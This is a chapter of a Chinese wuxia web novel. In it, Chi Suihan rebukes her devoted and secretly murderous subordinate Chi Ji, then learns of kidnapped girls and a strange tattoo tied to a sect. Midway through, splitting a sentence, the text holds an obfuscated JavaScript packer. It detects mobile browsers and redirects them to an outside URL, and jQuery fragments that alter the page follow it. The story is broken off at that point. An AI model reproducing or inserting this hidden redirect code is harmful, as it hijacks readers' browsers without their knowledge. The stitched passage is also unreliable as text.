15. 别死了

作品:《丢掉那个反派剧本

    屋内一时之间再无人出声,二人面对面坐在床上,不约而同将目光移向别处。


    池岁寒方才那一巴掌用力极狠,打得自己掌心同样生疼。她不知自己为何做此举动,好似心中才生不满,身体便提前于大脑做出反应。


    通常来讲,这被称之为本能。但她自知不是这样的人,至少在从前那个世界,绝无一言不合便扇人巴掌这种事。


    她愈发觉得,假戏演多了,似乎一切都要变成真的了。


    池戟却不觉有何不妥。那一巴掌虽痛,却将他整个人打得浑身发烫。


    此次与以往皆不相同,不因怀疑,不为试探,池岁寒竟只是听他将死字挂在嘴边,便动了怒。


    她不愿我死,不忍我死。


    她心里有我的一席之地。


    池戟在心底疯狂地默念着,努力将头压得更低,以掩盖脸上几乎压抑不住的笑意。


    “你可知我为何要救傅莺莺?”池岁寒靠上床柱,换了个舒服些的姿势。


    池戟缓缓摇头。


    “她为救我而伤,我怎能弃之不顾。”


    “昨日在山洞,我护她,是因我知那些暗器人俑伤不了我,我自有余力护我二人周全。”她嘴角勾起一抹笑,眉头却未舒展。“她不同。她来救我,是明知自己会死,却仍愿以命换命。”


    “那毒于我不过些许内伤,于她却是致命。既如此,救她一命,又何乐不为呢?”


    池戟悄无声息地将目光移回池岁寒的脸上,他从未见她露出过如此神色,哪怕语气已刻意轻松,面上的忧虑悲伤却毫不掩饰。


    他有些欢喜,因池岁寒好似向他敞开了些许心扉,愿将自己的情绪露给他看。


    却又有几分嫉妒,因她此般难过,竟皆为傅莺莺那个女人。


    早知如此,昨日在山洞中,就应该将她除之而后快。


    “她不自量力,螳臂挡车,岂是岛主之过?若非她一个累赘还带着个伪君子跟着我们,那区区郭印争何来与我等一战之力,岛主自也不会受伤。”


    他说着说着,声量愈来愈低,似是怕池岁寒发怒,只好低头靠在一旁,将被角往自己身上拽了拽。


    池岁寒点头:“确实不自量力,平添麻烦。”


    池戟闻言双眸一亮,满脸期许地望着她。


    池岁寒又道:“我隐藏实力在先,她做此决断也是情理之中。”


    池戟便又蔫了下去,靠回角落。


    “这些皆是后话,傅莺莺和陈豫是这世上唯二能证明我身份品性之人,他们活着,我这小师妹的身份才能坐实,不至于被其他人瞧出破绽。”


    池岁寒自知这个理由在此刻显得有些冠冕堂皇,但她本意从来不是说服池戟,而是说服自己。


    她不愿承认救下傅莺莺是因自己不舍,更不愿承认自己竟贪恋起了那梦中的,不属于她的家。


    决定已做,无从悔改。若真是最坏的情况,傅莺莺借此机会重生,那她之前的一切图谋便作废大半,往后如何应对,也需从长计议。


    在这个人命如草芥的世界里,任何一丝不合时宜的软弱,都可能成为杀死自己的利刃。


    可哪有人生来便是铁石心肠的?


    池戟将她冷酷面具下偶尔流露出的不安尽收眼底,连她眉间转瞬即逝的疲惫也未曾放过。


    池戟不知她为何要这么做,若只是怕东窗事发,如今证据已毁,寻个月黑风高之夜,将那些有心彻查此事之人尽数杀了便是。以他们二人的实力,寻个替死鬼,再以新身份重新开始并不困难。


    可她偏选了忍受那刺骨寒毒,只为救傅莺莺一命。


    池戟心中冷笑。傅莺莺算个什么东西?若非阿姐施舍,她如何活到今日?若无阿姐照拂,他早便割开她的喉管,将她沉尸江底。陈豫那伪君子若是想寻,他自会送这二人一同上路。


    池戟低下头,将眼底翻涌的杀意尽数掩去。再抬眼时,那双眸子里只剩温驯,甚至带着几分讨好。


    “岛主深谋远虑,属下愚钝。”


    他将手臂往前凑了凑,虚搭在池岁寒衣角:“傅莺莺伤重,岛主若需用药,可用属下的血为引,想必事半功倍。”


    池岁寒伸手抚过他手臂上错落的伤痕,微笑问道:“傅莺莺可曾救过你的命?”


    池戟摇头:“没有。”


    “你二人可有私交?”


    池戟顿了顿,低声道:“并无。”


    池岁寒脸色骤变,一把挥开他的手臂:“那你放血救她做什么?是嫌自己伤得不够重?若你真这般想死,在山洞中我又何须救你!”


    手臂撞在床沿上,伤口崩裂的剧痛让池戟闷哼了一声,他偷偷看向池岁寒那张因愠怒而微微泛红的脸,嘴角的笑意再难压住。


    阿姐又生气了。


    她不仅不让他死,还不许他轻贱自己的命。


    这世上,怎么会有这么好的人?


    “属下知错。”池戟乖顺低头,攥着被角的手指却因极度兴奋而微微发颤。


    就在此时,紧闭的房门外突然传来一阵极其细微的脚步声。


    池岁寒目光一凛,瞬间收敛了所有情绪,手指已悄然扣在袖中暗器之上。


    “谁?”


    “是我,主子。”门外传来元向安略显疲惫却依然吊儿郎当的声音。


    池岁寒松了一口气,转头看向池戟。


    池戟心领神会,利落翻身下床,整了整衣衫,拖着两条因伤而微微发颤的腿站到一旁。


    “进来。”


    房门推开,元向安带着一身寒气闪身而入。他走到桌边,毫不客气地给自己倒了杯茶,一饮而尽。


    “可有发现?”


    元向安放下茶杯,随意地擦了擦嘴角,从袖中掏出一张纸。“洞中之人身份已经查明,名叫郭印争,是清月剑派记录在册的叛逃弟子。我搜了他的身,并没发现其他特别的,只在他后腰处发现了一处并非寻常的刺青,是用某种特殊的毒液烙印在皮肉里的图腾,我已将它誊抄在此,主子请看。”


    池岁寒接过纸张,脑中突然闪过方才池戟的话。


    在山洞时,那矮子从未自报姓名。元向安查了一天一夜才查出此人身份,可池戟早在片刻之前,便已知道那人是郭印争。


    她瞥向池戟,见他仍安静立在旁,面色如常。


    是交锋时探听到的?


    若是,他为何从未提过与此人相关的情报?


    元向安还在一旁等着,池岁寒只得先将疑虑压下,低头辨认图上图案。


    “池戟,你也看看。”她将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382417|199922||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纸递过去,暗自观察池戟神色。


    纸上图案极为复杂,层层叠叠,难辨究竟。池戟端详半晌,发现自己竟从未见过。


    他将纸递回,如实道:“属下无能,不识此图。”


    既无人知晓,再在此物上多费时间也只是浪费。池岁寒将其收好,复看向元向安。


    “可还有别的发现?”


    “那山洞比我们想象的还要大。除了我们见到的那石厅,在更深处的几间暗室里,我还找到了四五个被关押的少女。”


    元向安的声音难得地严肃起来。


    “这几个女孩倒是还活着,只是被下了药,神志不清。我趁着官府的人还没到,悄悄弄醒了其中一个。”


    “此女乃是镇外三十里处张家村的农女,据她所言,剩下的那几个,根本不是清月镇附近的人。”


    池戟面露疑色,冷冷开口:“不是本地人?那是从哪里掳来的?”


    “那姑娘说,其中一人口音与她大不相同。我试了几处方言,竟与江南一带最像。”元向安压低声音,眼中透出凝重。“主子,您想。一个清月剑派的外门弃徒,就算有天大的本事,也不可能神不知鬼不觉地跨过半个江湖,把江南少女活着运到这清月山脚下来。”


    池岁寒的心脏猛地一沉。


    跨州越府,畅通无阻。


    这绝非郭印争一人便能做到的事。这背后,必定有一张极其庞大且手眼通天的关系网在暗中支持。


    而在这片地界上能拥有如此能量的,除了头顶的清月剑派,还能有谁?


    池岁寒盯着桌上茶水,脑海中飞速将所有的线索串联起来。


    以活人修炼的邪功、清月剑派的坐视不理、跨越千里的绑架案、从未见过的神秘图腾。


    这江湖的水,远比原书里描写的深不见底。如今她杀了郭印争,破坏了其中一环,想必已一脚踩进新的漩涡之中。


    往后之事,恐怕多是变数。


    “长老寿辰在即,等我们回了清月山,便寻个机会再查探一二。”池岁寒扯了扯嘴角。“我倒要看看,这天下第一名门正派背后,究竟藏着什么秘密。”


    “主子英明。”元向安拱了拱手,“那我就先在镇上潜伏下来,顺便把那几个活着的少女安顿好。这可是将来指认清月剑派的铁证。”


    池岁寒点了点头,挥手示意他退下。


    元向安走后,屋内重归寂静。


    许是疗伤耗费了太多心力,池岁寒只觉一阵倦意袭来。


    “你回自己房内疗伤吧,我也要歇息了。”她闭上眼,声音极轻地补了一句。“别死了。”


    池戟身形微微一顿,随即扯开一个笑容:“遵命,阿姐。”


    ……


    另一间客房内,烛火早已熄灭。


    床榻上的傅莺莺依旧双目紧闭,面色苍白如纸。


    忽然,她身子猛地痉挛,原本平稳的呼吸瞬间变得急促,额上渗出冷汗,双手死死攥紧身下床单,骨节泛白。


    “不……不要……”


    她紧闭着双眼,仿佛陷入了某种极度恐怖的梦魇之中。片刻后,她猛地倒抽一口凉气,一滴泪水自眼角滑落。


    她颤抖着,发出一声极其微弱的呢喃:


    “为什么……阿岁……”